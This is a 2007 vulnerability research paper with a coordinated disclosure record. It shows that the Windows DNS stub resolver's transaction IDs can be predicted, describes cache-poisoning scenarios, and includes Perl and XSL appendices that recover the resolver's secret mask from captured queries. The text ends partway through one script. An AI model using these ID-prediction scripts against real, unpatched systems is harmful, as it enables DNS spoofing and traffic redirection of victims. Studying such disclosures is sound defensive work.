Microsoft Windows DNS Stub Resolver Cache Poisoning

Amit Klein

March-May 2007

Abstract

The Windows DNS stub resolver is a Windows service used by Windows desktop software to resolve DNS names into IP addresses. The DNS stub resolver forwards DNS queries to the DNS server configured for the workstation (or server) and returns the DNS server's response to the requesting software.

This paper shows that Windows DNS stub resolver queries are predictable – i.e. that the source UDP port and DNS transaction ID can be effectively predicted. A predictability algorithm is described that, in optimal conditions, provides very few guesses for the "next" query, thereby overcoming whatever protection offered by the transaction ID mechanism. This enables a much more effective DNS client poisoning than the currently known attacks against Windows DNS stub resolver.

Table of Contents

1 Introduction

Attacks against DNS, and particularly the concept of DNS cache poisoning has been known for over a decade (e.g. [1] section 5.3 was published in 1989 and [2] was published in 1993). A concise threat analysis for the existing DNS infrastructure can be found in [4]. The focus of this paper is on DNS cache poisoning attack of a (client) stub resolver library (as opposed to the more often discussed attacks against a DNS cache server).

Typically, a DNS query is sent over the connectionless UDP protocol. The UDP response is associated with the request via the source and destination host and port (UDP properties), and via the 16 bit transaction ID value (the response's transaction ID should be identical to the request's transaction ID). Assuming that an attacker knows that a DNS query for a specific domain is about to be sent, from a specific DNS stub resolver, the attacker can trivially predict the source IP address (the address of the requesting stub resolver machine), the destination IP address (the address of the target name server), and the destination UDP port (53 – the standard UDP port for DNS queries). The attacker needs additional 2 data items – the source UDP port, and the DNS transaction ID, to be able to blindly inject his/her own response (before the target DNS server's response – typically the DNS stub resolver uses the first matching response and silently discards any further responses).

As mentioned above, the transaction ID is 16 bits quantity, and the source UDP port is theoretically 16 bits quantity too (though for practical reasons, only a sub-range is used as UDP source ports – e.g. in Windows XP and Windows 2003, the default range is 1025-5000, see [5]).

So in theory, the total entropy from an attacker's point of view is 32 bits, and practically (in Windows XP and Windows 2003) $\log_2(3976 \cdot 2^{16})$ which is almost 28 bits. In Windows Vista, the default dynamic port range is 49152-65535 (see [6]), so the practical entropy can be as high as 30 bits. Note that for practical reasons, it is not a good idea to use a combination of transaction ID and UDP port which are already in the "waiting queue" for a DNS response. Typically there are very few such pending requests, so this has negligible effect on the overall entropy.

However, the UDP source port is use by Windows DNS stub resolver library is predictable (e.g. [7] for Windows XP). The source UDP port is either static (when DNS Client service is used), or incremental (when DNS Client service is not used).

In general, predictability of the transaction ID can facilitate DNS cache poisoning attacks. This was mentioned in [1] section 5.3, [2] and [3] section 6.1. In March 2004 it was reported that the Windows XP SP1 (and Windows 2000 SP3) DNS stub resolver uses highly predictable transactions IDs – static or incremental ([7]). This was fixed in Windows XP SP2 (and in Windows 2000 SP4).

To clarify: the rest of this discussion assumes Windows XP SP2, Windows Vista, Windows 2003 and Windows 2000 SP4 wherein those old vulnerabilities do not exist.

Another well known attack against DNS caching/resolution services is the "birthday attack". The birthday attack against DNS servers is hinted to in [8] (July 2001) and described in fullness in [9] (November 2002); a more elaborate discussion can be found in [10] and [11]. But in attacks against stub reslover library, this technique requires forcing the stub resolver to issue many simultaneous DNS queries for the same domain. Using a browser initiated resolutions is out of the question since the browser has only few threads, so this requires local access to the attacked machine. That is, the birthday attack reduces to running a process on the local machine.

The attacks described in this paper make use of the predictable nature of Windows DNS stub resolver transaction IDs to poison its cache. It is assumed that the DNS server can be forced to perform DNS queries using a malicious web page (see e.g. [12]). This is a real-life condition, but of course it limits the attacker's activity scope – the attacker, for example, cannot force a burst of hundreds of queries all for the same hostname to be emitted from the same client. Nevertheless, it will be shown that since the transaction ID (and the UDP source port) is predictable enough, this suffices to mount a successful attack.

2 Attack scenarios

Unlike attacks against DNS servers, attacks against DNS stub resolvers and their cache are not widely discussed (with [7] as one of the few texts that are dedicated to stub resolver issues). Therefore, some attack scenarios are listed below in order to explain how this vulnerability can facilitate various attacks.

2.1 Internal network (corporate/ISP/college) scenario

As described in [7], when the attacker and the victim share the same LAN (or WAN, or Wireless LAN), the attacker can sniff a sequence of DNS queries made by the client and be able to extract all the necessary DNS parameters to predict the next DNS query (UDP source port and transaction ID). Predicting the next DNS query can greatly improve the ability of the attacker to win the "race" with the legitimate DNS server.

2.2 3rd party DNS provider scenario

When the victim uses external DNS server (e.g. OpenDNS and UltraDNS), the attacker may reside anywhere on the path between the victim and the DNS provider. Again, predicting the DNS query provides the attacker with a head start over the legitimate DNS server.

2.3 Internal network scenario – poisoning a DNS server

As described in [16], there are some DNS servers which forward the stub resolver's DNS query as-is (i.e. without changing the transaction ID) when they send out queries to other DNS servers as part of the resolution process. This, together with the weakness in the Windows DNS stub resolver, enables an attacker to poison such DNS server, even if the attacker has no direct access to the server (i.e. the attacker cannot directly send queries to this server).

2.4 Multi-homed scenario

When a client machine is connected to two networks, e.g. LAN and WiFi (wireless LAN), and the first network (in this example, the LAN) is the "preferred" network, it may be still possible for an attacker who has access to the second network (the WiFi network) to conduct an attack. As explained in [17], the first DNS query to a new hostname is transmitted over the preferred network (the LAN), but if negative response is received, then other networks are used – the WiFi in our case. An attacker can force the client to attempt to resolve a non-existing hostname, thereby forcing the client to eventually transmit DNS queries to the WiFi network. This query can be recorded by the attacker. Next, the attacker can force the client to resolve the target hostname, and simultaneously the attacker can send a response (or a burst of responses) to the LAN (not to the WiFi card, because it typically has a different IP address bound to it), i.e. the attacker needs to send a DNS response to the LAN IP address of the client (note that the attacker need not be able to sniff packets off the LAN). This is an interesting scenario since many people use laptops at work which are connected to the corporate LAN, yet leave the WiFi card active and available for connections.

2.5 DNS logs

Another disturbing aspect of the DNS stub resolver predictability is that DNS logs maintained either in the internal network (on the "native" DNS server) or by 3rd party DNS providers become a source for information that allows attacking the DNS clients (stub resolvers) of that DNS server.

2.6 Use of malicious HTML

All the above is especially effective if the attacker can force/lure the victim to load the attacker's HTML page – in which case predicting the DNS parameters becomes easier, and the next DNS query to be made can be completely controlled by the attacker (in the sense that the attacker can force the host name to be resolved).

3 Attacking the Windows XP SP2 DNS stub resolver

3.1 Observations on the Windows XP SP2 DNS stub resolver

The results described herein pertain to Windows XP SP2 (Professional edition, tested with dual core Intel processor).

When the "DNS Client" service is running (this service is turned on by default, and is used to cache DNS responses – see [13]), the UDP source port is static – it is acquired when the service starts (typically at boot time) and is released when the service terminates. If the service is restarted during the lifetime of the operating system, then a new UDP source port is assigned to it (yet this is a very rare condition). This behavior is described in [7].

When the "DNS Client" service is not running, the UDP port is incremental (probably a new port is assigned per each new DNS request), again, as described in [7]. However, that text provides a partial description. It should be noted that the UDP source port is may be incremented by more than 1. This is the case when additional TCP/UDP sockets are bound between consecutive calls for DNS resolution. Each new TCP/UDP connection consumes an additional socket, incrementing the source port by 1. Therefore, if an image is fetched (see below) from a server per each DNS resolution, a new TCP connection may be opened between two consecutive calls for DNS resolution, and the UDP port will be incremented by 2.

Let n be a global counter, incremented on every DNS query to a new hostname. This counter is not advanced when the same hostname is queried in multiple name servers (e.g. when the same query is sent to alternative name servers).

Let τ be the stub resolver time, in milliseconds, in clock-ticks granularity. That is, this variable advances every clock-tick on the server. In multi-core/multi-CPU/HyperThreading systems, a clock tick lasts 1/64 of a second (15.625 milliseconds) – see [14] (in the author's experiments, the tick time was found to vary by few microseconds, even on the same machine; however, since this difference is not too significant, the paper will henceforth assume the value of 15.625 milliseconds). In single CPU, single core, non-HT machines, a clock tick lasts 10.0144 milliseconds (this is often rounded to 10 milliseconds in many texts) – see e.g. [15].

Let S_n be an internal state variable (16 bits) just before emitting the next ID.

Let K be the stub resolver mask (see below), 16 bits.

S_n is calculated as following:

$$S_n=(S_{n-1}+((n+\tau) \bmod 487)+1) \bmod 2^{16}$$

The Transaction ID is S_n XOR K.

The Transaction ID is serialized into the DNS query in "little endian" fashion (low byte first, then high byte).

K is determined once at the startup of the "DNS Client" service. Each time this service is started (typically once – at boot time), a new K value is calculated.

Note that in order to fully reconstruct and predict the DNS query series, there's no need to know the initial values of n_0 and τ_0 separately. Rather, it suffices to know the quantity $((n_0+\tau_0) \bmod 487)$. Those initial values - n_0 and τ_0 have not been described. For simplicity, it can be assumed that τ_0 is the time from the epoch (as experienced by the client machine), while n_0 is random.

When the stub resolver is invoked simultaneously from several threads, the Transaction IDs are generated simultaneously by two threads. That may lead to situation such as the following:

Thread #1 samples n and increments it.

Thread #2 samples n and increments it.

Thread #2 samples the time τ.

Thread #1 samples the time τ.

The net result would be transaction IDs whose n and τ are mutually "out of sync" – i.e. the first τ is higher than the second one. The same is applicable to the UDP source port as well. Furthermore, when the stub resolver is invoked simultaneously from two threads, it may consume an additional socket (source port), probably used when the current socket is already busy.

DNS Client turned off

When the DNS Client service is not used, the stub resolver assigns a new K value for each process that invokes the stub resolver. This K value remains in effect for the lifetime of the process. Also, as mentioned above, it will bind to a new socket (hence use the next available port number) per each DNS query.

3.2 The basic attack

Predicting the Transaction ID is accomplished in two steps:

- Step 1 – recovering K (or significant parts thereof), using several consecutive DNS query samples.

- Step 2 – Using the *K* value obtained in step 1, and using the samples obtained in step 1 (or using fresh samples), recovering the current $n+\tau$ value on the server, which enables (together with the current *S* value, and *K*) calculating the next query's transaction ID.

It should be noted that once *K* is uncovered for a particular client, it remains in effect until the next boot (assuming the default configuration, i.e. that the DNS Client service is running). Hence, step 1 can be done hours, days, maybe even weeks before the actual attack (step 2).

3.2.1 Step 1 – finding *K*

The paper describes three techniques. The first can be used when the observer is "far" from the client, thus may not have exact timing. On the other hand, it requires a lot of consecutive DNS queries to be observed (typically around one hundred DNS queries). The second technique requires some idea of the client side timing, yet makes use of very few samples (most experiments required 5…10 consecutive DNS queries to reconstruct the relevant part of *K*). A third technique requires even less DNS queries, and uses client side timing of the DNS queries (using malicious HTML and Javascript).

In all cases it should be noted that the high bits of *K* may not always be reconstructed. This is because if all transaction IDs observed have identical *l* highest bits then these bits surely cannot be reproduced. Moreover, even if *l*=0, the most significant bit of K cannot be reproduced, and in fact is totally irrelevant for attacking purposes. This is because flipping the most significant bit of *K* is equivalent to a 2^{15} offset added to *S*, i.e. a system (*S*,*K*) and a system ($S+2^{15}$,$K+2^{15}$) yield identical transaction IDs.

Therefore, there's a need to guess only the least significant $min(16-l,15)$ bits of *K*. The downside of this phenomenon is that if (at step 2), *S* advances such that its one of its *l* most significant bits is flipped, then all the flipped bits need to be enumerated in order to predict the transaction ID.

Technique #1 – requires many DNS queries

This technique relies on the fact that the S_n has to be exactly 1…487 higher than the last value of S_{n-1} (mod 2^{16}). So for each guess of *K* the algorithm runs over the observed queries, extracting *S* from each one:

$$S=(\text{Transaction ID}) \text{ XOR } K$$

And verifying that each *S* is 1…487 higher than the previous *S* (mod 2^{16}). If this condition holds on all DNS requests observed (save for the first one, of course), then the *K* value in question is a (good) candidate, otherwise it should be discarded.

In experiments, most of the time after around 100 consecutive DNS queries there are only one or two *K* candidates left, though sometimes it takes around 200 requests to get to that resolution, while at other times just few dozen requests suffice.

The Perl script in appendix C (combined with the wrapper script in appendix B) takes around 150…200 milliseconds (on IBM ThinkPad T60 laptop with Intel Centrino CoreDuo T2400 CPU @1.83GHz and Windows XP SP2 operating system – certainly a moderately powered machine) to extract the 15 least significant bits of *K* from a sample of 100 queries. Note that the time it takes for a client machine to query 100 names is typically few hundred milliseconds, and normally much longer than that (because a client machine is unlikely to query many names in a short period of time). The script may be optimized to receive a new query and immediately use it to filter *K* values, thus supporting "streaming" input.

Technique #2 – requires fewer DNS queries, some clock accuracy

Technique #1 makes use of only part of the information available with the transaction IDs, namely that they are 1…487 values apart. It completely ignores the way this increment is applied. This additional information can reduce the number of DNS queries needed in order to reconstruct *K*. Observe that for consecutive DNS queries *S′* and *S*, the following holds:

$$(S_n - S_{n-1} - 1) \bmod 2^{16} = (n + \tau) \bmod 487$$

Therefore $(n+\tau) \bmod 487$ is known (given a particular guess of *K*). Consecutive values of this term differ (mod 487) by $1+\Delta\tau$, where $\Delta\tau$ is the time difference (as experienced by the client) between consecutive DNS queries sent by the client, in clock-tick resolution. This $\Delta\tau$ can be estimated by the observer using the observer's time difference and estimating the possible error. Because the resolution is clock ticks, even ±50 milliseconds possible observation error (overall error interval ε of 100 milliseconds) yields only 16 values (in general, the number of possible delta values is $2\cdot(\text{ceil}(\varepsilon/\text{tick})+1)$).

So instead of 487 possible values, when the error interval is known to be up to 100 milliseconds, only up to 16 values are in fact possible. This results in a significant verification factor. As a result, very few requests (in comparison to Technique #1) are needed in order to arrive at one or two possible *K* values. Experiments show that as low as 5…10 consecutive DNS queries are needed to reconstruct *K*.

Because of this low number, the *K* reconstructed may lack the few most significant bits (see above for explanation).

The Perl script in appendix D (combined with the wrapper script in appendix B) takes around 20…30 milliseconds (on the previously mentioned IBM laptop) to extract the 12 least significant bits of *K* from a sample of 10 DNS queries (the script was run with time difference tolerance of ±100 milliseconds, the attacked client was a multi-core machine, i.e. with clock tick of 15.625 milliseconds). At any rate, rewriting the code to a compiled native language such as C/C++ is

expected to yield an order of magnitude improvement in performance, i.e. performance time of few milliseconds (possibly even less than one millisecond).

Technique #3 – requires interaction with the client

Accurately knowing the internal client clock would greatly help to quickly find *K*. This is not as impossible as it may sound. Javascript has access to the clock, in milliseconds (actually, in clock-ticks) resolution. So if the client is lured or enticed to load a page containing Javascript code to force DNS queries, and this Javascript code communicates the exact time the DNS query is performed to the attacker, the attacker can actually obtain clock readings. Such Javascript code is demonstrated in Appendix F.

Now, to use the client time, observe that

$$(S_n - S_{n-1} - 1) \bmod 2^{16} = (n + \tau) \bmod 487$$

Where:

$\tau = \tau_1 + \tau_\varepsilon$

τ_1 is the Javascript epoch timer

τ_ε is the time difference between the time taken by Javascript and the actual time the query was sent. Typically the latter takes place 0…2 clock ticks after the former (although occasionally, higher values such as 4 and 6 may be observed).

So each pair of consecutive DNS queries offers 5 values for n_0 modulo 487, and all pairs must share at least one such value. This yields a very strong verification factor, and experiments show that within 5…8 queries, one or two values of *K* are singled out.

Just like in Technique #2, because of this low number, the *K* reconstructed may lack the few most significant bits (see above for explanation).

The Perl script in appendix E (combined with the wrapper script in appendix B) takes 15…25 milliseconds (on the previously mentioned IBM laptop) to extract the 12 least significant bits of *K* from a sample of 8 DNS queries (the script was run with clock tick tolerance of up to 2 ticks, the attacked client was a multi-core machine, i.e. with clock tick of 15.625 milliseconds). As mentioned above, rewriting the algorithm in C/C++ should yield performance time of few milliseconds (possibly even less than one millisecond).

3.2.2 Step 2 – predicting transaction ID

Assuming *K* is known (see step 1), it is needed to predict a transaction ID.

If the time elapsed on the client since the last DNS query is known, and it is known that no DNS query was performed in between, the next DNS query will have an *S* value of

$$S_n=(S_{n-1}+((n+\tau) \bmod 487)+1) \bmod 2^{16}$$

Since the previous $((n+\tau) \bmod 487)$ value is known (can be extracted from two consecutive DNS queries in the original series), the current value is merely that value plus the time elapsed plus 1, modulo 487. Hence *S* can be calculated.

If the client timing is lost, it is assumed that two consecutive DNS queries just before the query to be predicted, are available. The *S* values are extracted from the two observed queries (by applying XOR *K* to the Transaction IDs). The reader is reminded that the following holds:

$$(S_n-S_{n-1}) \bmod 2^{16}=((n+\tau) \bmod 487) + 1$$

Rearranging:

$$(n+\tau) \bmod 487=((S_n-S_{n-1}-1) \bmod 2^{16}) \bmod 487$$

Now, the next *S* value, S_n, is

$$S_n=(S_{n-1}+((n+1+\tau+\Delta\tau) \bmod 487)+1) \bmod 2^{16}$$

Rearranging:

$$S_n=(S_{n-1}+(((n+\tau) \bmod 487)+1+\Delta\tau) \bmod 487)+1) \bmod 2^{16}$$

Where $\Delta\tau$ is the time elapsed between the last DNS query and the next DNS query (the one to be spoofed), in milliseconds, in clock-tick resolution, and $((n+\tau) \bmod 487)$ is known. Naturally if $\Delta\tau$ is not known (or cannot predicted) precisely, likely values are to be guessed. This is not as bad as it may look – due to the clock-tick resolution being order of magnitude more than 1 millisecond, even a possible error of 100 milliseconds yields only 15 possible $\Delta\tau$ values (when the clock tick is 15.625 milliseconds).

Finally, applying XOR *K* yields the predicted transaction ID.

3.2.3 Practical considerations

Resent queries – as explained in [17], if no response is received from the primary name server within one second, the stub resolver attempts to contact alternate name servers on other network adapters, as well as resend the query to the primary name server. As long as the query belongs to the same original resolution request, and the target name doesn't change, the transaction ID remains unchanged as well. This means that no additional information can be obtained from these "duplicate" queries, and for the sake of the above techniques (regarding how the transaction ID is calculated), all resent queries (except the original query) can be ignored. At the same time, one should keep in mind that when the multi-home scenario is considered, it is those resent requests that enable the attacker to eavesdrop to the DNS traffic sent from the client.

Out of order requests, retransmissions and missing requests – see below.

Domain suffixes, DNS devolution – as explained in [17], when the target name for resolution is not a Fully Qualified Domain Name (FQDN), i.e. it does not end with a dot, the stub resolver may append various suffixes to it if it does not resolve as-is. This may be beneficial for the attacker (since if there are many domain suffixes, each will force the stub resolver to produce a new Transaction ID), or not (e.g. in technique #3 the attacker may prefer to provide its own domain and respond to all queries with negative response to ensure that no TCP connection is attempted. When suffixes are present, there will be additional DNS queries unseen by the attacker). It is important to remember that it's possible to prevent suffix-related additional DNS queries simply by forcing the client to request a FQDN – by appending a dot to the name, e.g. "www1.attacker.com.".

3.3 Improvements to cater for real-world scenarios

For both techniques described in step 1, it should be noted that it is assumed that the order of the DNS queries is maintained, and that no queries are lost. Care should be taken to remove excess queries (retransmitted) prior to running the data through the algorithms. The order assumption and the non-loss assumption can be relaxed to some extent by improving the algorithms. For example, instead of discarding candidates that do not pass all tests, it's possible to count the number of failures and keep those candidates which fail at the minimum.

4 Attacking the Windows 2003 and Windows Vista stub resolver

The results in this sub-section were obtained for the following operating systems, with "DNS Client" service running (the default configuration):

- Windows Vista Enterprise
- Windows 2003 Server (Standard Edition) SP1

The Windows Vista stub resolver and Windows 2003 stub resolver are slightly different than the Windows XP stub resolver. The main difference is in the way the transaction ID is generated – particularly in how *n* is advanced. In Windows 2003 and Windows Vista, *n* is not simply incremented by one. Instead, a quantity (*z*) is added to it in each step, where *z* is one of the integers 1, 2, 3, or 4. The manner in which *z* changes across requests was not researched, yet it seems that in over 50% of the cases, $z=3$, and the majority of the remaining cases $z=4$ (together they cover over 95% of the cases).

As can be seen, this extends the formula used by Windows XP, or in other words, the Windows XP formula is a special case ($z=1$) of the Windows 2003/Vista formula.

Additionally, in Windows Vista, the UDP source port is not static, but rather increments with each new query (much like with the "DNS Client" service turned off). This change is insignificant, as it has very little impact on the predictability of the next DNS query – the UDP source port is still extremely predictable – typically it's the previous port observed, plus 1 (note that unlike e.g. Windows XP, it seems that in Vista, the dynamic UDP ports and dynamic TCP ports are assigned from two parallel pools, so if additional TCP connections are created between consecutive calls to DNS library functions, this has no effect on the source UDP port of the DNS queries).

The change in the transaction ID algorithm has impact on the attack, as following:

In step 1 (finding *K*), technique #1 does not change. In technique #2, the statement "consecutive values of this item differ (modulo 487) by $1+\Delta\tau$" is no longer valid. Instead, the invariant becomes "consecutive values of this item differ (modulo 487) by $\{1,2,3,4\}+\Delta\tau$". This means that the script needs to be more tolerant, i.e. accept more valid differences. Consequently the script will run slower (around 70 milliseconds) and need more queries to find *K* (up to 15). Technique #3 needs to be altered as well – it's impossible to compare initial *n* values. However, it is possible to compare consecutive n values, which should differ by *z*. Again, the script will run slower (60…90 milliseconds) and need more queries to find *K* (up to 15).

In step #2, once the current ($n+\tau$) is known (either by carefully predicting it from already observed queries, or by sending additional two queries), the next query can be calculated according to

$$S_n=(S_{n-1}+((n+z+\tau+\Delta\tau) \bmod 487)+1) \bmod 2^{16}$$

Where *z* takes one of the four values 1, 2, 3 and 4. Therefore, 4 guesses should be made and thus 4 DNS responses should be generated for this attack. However, taking into account that usually $z=3$ or $z=4$, two guesses would suffice in over 95% of the time.

Note that the *K* value still changes only when the DNS Client service is restarted (just like DNS Client in Windows XP).

5 Conclusions

While DNS stub resolver cache poisoning (and predictability at large) attacks did not receive much attention to date, they're not to be neglected or dismissed. The use cases surveyed in this paper demonstrate that there are various scenarios in which such attacks can take place in the real world.

The fact that the most used DNS stub resolver, the Windows "DNS client", is in fact vulnerable to such attack, should serve as a warning sign that vendors are missing some key points in understanding and implementing DNS security.

Microsoft is not alone here – several other leading vendors had to address similar issues in their DNS servers and stub resolvers over the last year.

Alarmingly, a troubling trend for such issues emerges: in many cases, vendors fix the predictability of the ID generation mechanism by replacing one flawed implementation with another flawed (perhaps less than the original, but still) implementation. For example, in reaction to a research paper ([7], March 2004), Microsoft replaced the incremental ID with the weak algorithm described above.

Instead, vendors should take a more robust approach, replacing proprietary and/or home-made algorithms with cryptographic, industrial strength algorithms. The small overhead in runtime pays itself back many-fold in improved security.

6 Further work

During the research, no static/dynamic reverse engineering techniques were used. In fact, the research was a pure exercise in packet analysis (few thousand DNS queries were used in each mode). As a result, while the findings are useful, few questions remain:

- How are K, S_0, n_0 and τ determined?
- Windows 2003 and Windows Vista – how is z determined?

7 Disclosure timeline

April 30th, 2007 – Microsoft Security Response Center (MSRC) were informed of this issue.

March 18th, 2008 – Microsoft releases a service pack for Windows Vista (Vista SP1), which includes a fix for this issue.

April 8th, 2008 – Microsoft issues a fix ([19]) for Windows Vista, Windows XP SP2, Windows 2003 and Windows 2000 SP4. The fix is downloadable at Microsoft's

website. Simultaneously, Trusteer discloses the vulnerability to the public (in the form of this document).

8 Vendor/product status

Affected products:

- Microsoft Windows Vista
- Microsoft Windows XP SP2
- Microsoft Windows 2003 (all service packs)
- Microsoft Windows 2000 SP4

Unaffected products (silently patched by Microsoft following this report):

- Microsoft Windows Vista SP1
- Microsoft Windows XP SP3 (not yet released)

MITRE tracks this issue as CVE-2008-0087.

Microsoft issued a security bulletin MS08-020 ([19]) to address this issue.

Microsoft documented this issue as Knowledge Base Article 945553.

9 References

[1] "Security Problems in the TCP/IP Protocol Suite" (Computer Communications Review 2:19, pp. 32-48), Steven M. Bellovin (AT&T Bell Laboratories), April 1989

http://www.cs.columbia.edu/~smb/papers/ipext.pdf

[2] "ADDRESSING WEAKNESSES IN THE DOMAIN NAME SYSTEM PROTOCOL" (M.Sc. Thesis), Christoph Schuba, August 1993

http://ftp.cerias.purdue.edu/pub/papers/christoph-schuba/schuba-DNS-msthesis.pdf

[3] "DNS and BIND Security Issues" (Proceedings of the Fifth USENIX UNIX Security Symposium), Paul Vixie (Internet Software Consortium), May 11th, 1995

http://www.usenix.org/publications/library/proceedings/security95/full_papers/vixie.txt

[4] "Threat Analysis of the Domain Name System (DNS)" (IETF RFC 3833), Derek Atkins and Rob Austein, August 2004

http://www.ietf.org/rfc/rfc3833.txt

[5] "Windows TCP/IP Ephemeral, Reserved, and Blocked Port Behavior" (Microsoft Technet "The Cable Guy" column), Joseph Davies, December 1st, 2005

http://www.microsoft.com/technet/community/columns/cableguy/cg1205.mspx

[6] "The default dynamic port range for TCP/IP has changed in Windows Vista Enterprise" (Microsoft Knowledge-Base Article 929851) http://support.microsoft.com/kb/929851

[7] "Predictability of Windows DNS resolver", Roberto Larcher, March 11th, 2004

http://www.infosecwriters.com/text_resources/pdf/predictability_of_Windows_DNS_resolver.pdf

[8] "Re: BIND's vulnerability to packet forgery" (bind-users mailing list submission), Daniel J. Bernstein, July 29th, 2001

http://marc.info/?l=bind-users&m=99641511628335&w=2

[9] "Vulnerability in the sending requests control of Bind versions 4 and 8 allows DNS spoofing" (CAIS alert ALR-19112002a), Vagner Sacramento and CAIS/RNP, November 19th, 2002

http://www.rnp.br/cais/alertas/2002/cais-ALR-19112002a.html

[10] "DNS Cache Poisoning - The Next Generation", LURHQ Threat Intelligence Group (now SecureWorks), January 27th, 2003

http://www.secureworks.com/research/articles/dns-cache-poisoning/

[11] "Vulnerability Note VU#457875" (CERT Advisory), Allen Householder and Ian A. Finlay, December 19th, 2002

http://www.kb.cert.org/vuls/id/457875

[12] "DNS Poisoning" (demonstration web page), Ketil Froyn, 2003

http://ketil.froyn.name/poison.html

[13] "How to Disable Client-Side DNS Caching in Windows XP and Windows Server 2003" (Microsoft Knowledge-Base Article 318803)

http://support.microsoft.com/kb/318803

[14] "Know Thy Tick" (Windows XP Embedded team blog), Jim, February 20th, 2006

http://blogs.msdn.com/embedded/archive/2006/02/20/535792.aspx

[15] "Network Protocol Performance Evaluation of IPv6 for Windows NT" (M.Sc. thesis), Peter Ping Xie, June 1999

http://www.ee.calpoly.edu/3comproject/masters-thesis/Xie-Peter.pdf

[16] "Black Ops of TCP/IP 2005" (BlackHat Briefing Japan 2005) Dan Kaminsky (DoxPara Research), October 2005

http://www.doxpara.com/slides/Black%20Ops%20of%20TCP2005_Japan.ppt

[17] "Windows XP Professional Resource Kit" (Microsoft TechNet Article), sub-section "Configuring TCP/IP Name Resolution", November 3rd, 2005

http://www.microsoft.com/technet/prodtechnol/winxppro/reskit/c24621675.mspx#E4NAC

[18] "Command Line Transformations Using msxsl.exe" (MSDN XML General Technical Articles), Andrew Kimball, September 2001

http://msdn2.microsoft.com/en-us/library/aa468552.aspx

[19] "Microsoft Security Bulletin MS08-020 – Important; Vulnerability in DNS Client Could Allow Spoofing" (Microsoft website), April 8th, 2008

http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx

Appendix A – XSL file

This XSL file can be applied to the PDML export file produced by the WireShark network analyzer (a similar XSL can be used for Ethereal, though the latter uses slightly different field names). It extracts data per each DNS query into a single line, separated by spaces. The following fields are extracted:

- DNS transaction ID (4 hex digits)
- Capture timestamp (seconds, 9 digits after the decimal point)
- Query object (string)
- UDP source port (4 hex digits)

The XSL transformation can be applied by any XSLT engine, e.g. Microsoft MSXSL ([18]).

The Perl script in appendix B assumes the output of this XSL transformation as its input.

It is advised that WireShark/Ethereal filters be used prior to applying the XSL transformation, because the former is much quicker than the latter, e.g. filtering for `ip.src==… and dns.flags.response==0` before exporting.

```
<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:strip-space elements="*"/>
<xsl:output method="text" encoding="ISO-8859-1"/>
<xsl:template match='/pdml/packet/proto[
      @name="dns" and
      field[@name="dns.flags"]/field[@name="dns.flags.response"]/@value="0"]
'>
<xsl:value-of select='field[@name="dns.id"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of
      select='../proto[@name="geninfo"]/field[@name="timestamp"]/@value' />
<xsl:text> </xsl:text>
<xsl:value-of
      select='field[@show="Queries"]/field/field[@name="dns.qry.name"]/@show
' />
<xsl:text> </xsl:text>
<xsl:value-of
      select='../proto[@name="udp"]/field[@name="udp.srcport"]/@value' />
<xsl:text>&#x0d;&#x0a;</xsl:text>
</xsl:template>
</xsl:stylesheet>
```

Appendix B - Wrapper code for *K* extraction script

```
#### Insert the implementation of verify_K() here ####

use Time::HiRes qw(gettimeofday);

sub get_resolver_time
{
	$host=shift;
	if ($host=~/t-(\d+)-\d+\.domain\.site/)
	{
		return $1;
	}
}

# Performace optimization – quickly filter the data using
# Technique #1 (which is the quickest per-item). Then run
# whatever technique needed.

sub verify_K_optimizer
{
	my $K=shift;
	for (my $m=1;$m<$count;$m++)
	{
		if ((($txid[$m]^$K)-($txid[$m-1]^$K)) % 65536)>487)
		{
			return 0;
		}
	}
	return 1;
}

@txid=();
@capture_time=();
@source_port=();
@resolver_time=();

# Read all data from file. It is assumed to be in the format generated
# by the XSL transformation described in appendix A.

$count=0;
open(FD,$ARGV[0]) or die "ERROR: Can't open file $ARGV[0]";
while(my $line=<FD>)
{
	# File format: TXID[4 hex] capture_time[float]
	#              target_name[string] source_port[4 hex]

	if ($line=~/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})\s
			(\d*\.\d*)\s
			(\S*)\s
			([0-9a-fA-F]{4})/x)
	{
		push @txid,hex($2.$1);
		push @capture_time,0.0+$3;
		push @resolver_time,get_resolver_time($4);
		push @source_port,hex($5);
		$count++;
	}
	else
	{
		die "ERROR: Can't parse line at count=$count.\n";
```

```
	}
}
close(FD);

print "INFO: Found $count DNS queries in file.\n";

# Find which bits actually change - this can reduce the enumeration
# space for K.

my $flipped=0;
my $first=$txid[0];
for (my $i=0;$i<$count;$i++)
{
	$flipped|=($txid[$i]^$first);
}

my $msb;
for ($msb=15;$msb>=0;$msb--)
{
	if ($flipped & (1 << $msb))
	{
		last;
	}
}
$msb++;  # $msb is now the lowest unchanged bit

if ($msb<15)
{
	print "WARNING: highest ".(16-$msb)." bits do not change – \n";
	print "         can't extract those K bits. More samples would
help.\n";
}

if ($msb>=15)
{
	$msb=15;
	print "INFO: most significant bit of K cannot be determined.\n";
	print "      This is not an issue - see the paper for more
	details.\n";
}


print "INFO: Guessing K now (least significant $msb bits).\n";

my $start_time=gettimeofday();

# Enumerate over K values

my @cand;
for ($K=0;$K<(1<<$msb);$K++)
{
	if (verify_K_optimizer($K) and verify_K($K))
	{
		push @cand,$K;
	}
}

my $end_time=gettimeofday();

print "INFO: ".($#cand+1)." candidates found: @cand.\n\n";

print "INFO: Elapsed time: ".($end_time-$start_time)." Seconds.\n";

exit(0);
```

Appendix C – verify_K() for Technique #1

```
sub verify_K
{
	# Technique #1 is already included in the wrapper for performance
	# reasons, so there's nothing to add here.
	return 1;
}
```

Appendix D – verify_K() for Technique #2

```
use POSIX qw(ceil floor);

$tick=15.6250;  # In milliseconds - for multi-CPU/multi-core/HT machines

#$tick=10.0144; # In milliseconds - for single-CPU, single-core,
                # non-HT machines

$error_tolerance=100; # Tolerance, in milliseconds (actual time delta is
within
                      # +/- $error_tolerance of the measured delta

sub verify_K
{
       my $K=shift;
       my $prev_delta;
       for (my $m=1;$m<$count;$m++)
       {
              my $previous_S=$txid[$m-1]^$K;
              my $current_S=$txid[$m]^$K;
              my $delta=($current_S-$previous_S-1) % 65536;

              my $delta_t=1000.0*$capture_time[$m]-1000.0*$capture_time[$m-
1];

              if ($m>1)
              {
                     my $delta_square=($delta-$prev_delta) % 487;
                     my $delta_t_min=($delta_t-$error_tolerance)>0 ?
                                          ($delta_t-$error_tolerance) : 0;
                     my $delta_t_max=$delta_t+$error_tolerance;

